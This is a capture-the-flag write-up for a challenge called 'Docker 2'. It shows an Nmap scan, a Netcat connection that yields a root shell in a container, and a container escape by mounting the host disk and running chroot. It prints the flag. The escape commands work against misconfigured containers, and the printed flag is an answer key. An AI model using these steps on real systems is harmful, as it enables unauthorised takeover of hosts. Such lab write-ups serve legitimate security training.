

Docker 2 – Write-Up

Initial Reconnaissance

The challenge begins with basic enumeration. Running an Nmap scan reveals that port **1337** is open on the target machine.

This indicates a potential service that may allow direct interaction.

```
└─$ nmap 3.110.197.215
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-04 03:21 EDT
Nmap scan report for ec2-3-110-197-215.ap-south-1.compute.amazonaws.com (
3.110.197.215)
Host is up (0.054s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
25/tcp    filtered smtp
Nmap done: 1 IP address (1 host up) scanned in 10.74 seconds

(kali@kali)-[~]
└─$ nmap 3.110.197.215 -p1337
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-04 03:21 EDT
Nmap scan report for ec2-3-110-197-215.ap-south-1.compute.amazonaws.com (
3.110.197.215)
Host is up (0.044s latency).

PORT      STATE SERVICE
1337/tcp  open  waste
```

Gaining Access

Using Netcat, we connect to the open port:

```
nc 3.110.197.215 1337
```

Upon connecting, we successfully obtain a shell inside a containerized environment.

```
(kali㉿kali)-[~]  
$ nc 3.110.197.215 1337  
id  
uid=0(root) gid=0(root) groups=0(root)  
█
```

Post-Exploitation Enumeration

Once inside the container, further enumeration is performed. During this phase, we check for:

- System information
- Privileges
- Mounted file systems

We discover that the host filesystem is accessible via mounted directories, which presents an opportunity for container escape or privilege escalation.

Exploiting Mounts

We create a directory to mount the host filesystem:

```
mkdir /mnt
```

```
mount /dev/nvme0n1p1 /mnt
```

This mounts the host's root partition inside the container.

```
mkdir /mnt  
df -h  
Filesystem      Size  Used Avail Use% Mounted on  
overlay          11G   3.1G   7.1G  31% /  
tmpfs            64M    0    64M   0% /dev  
shm              64M    0    64M   0% /dev/shm  
/dev/nvme0n1p1  11G   3.1G   7.1G  31% /mnt  
mount /dev/nvme0n1p1 /mnt  
█
```

Escaping the Container

Next, we change the root directory to the mounted filesystem:

```
chroot /mnt /bin/bash
```

This effectively gives us access to the host system environment.

```
chroot /mnt /bin/bash
cat /root/flg.txt
cat /root/flag.txt
ctf{aiwaij7sac3thaeve6dij8oy5aeToofe}
```

Capturing the Flag

Finally, we navigate to the root directory and retrieve the flag:

```
cat /root/flag.txt
```

Summary

- Open port **1337** provided initial access via Netcat
- A shell was obtained inside a Docker container
- Misconfigured mounts exposed the host filesystem
- **chroot** allowed escape into the host environment
- The flag was retrieved from **/root/flag.txt**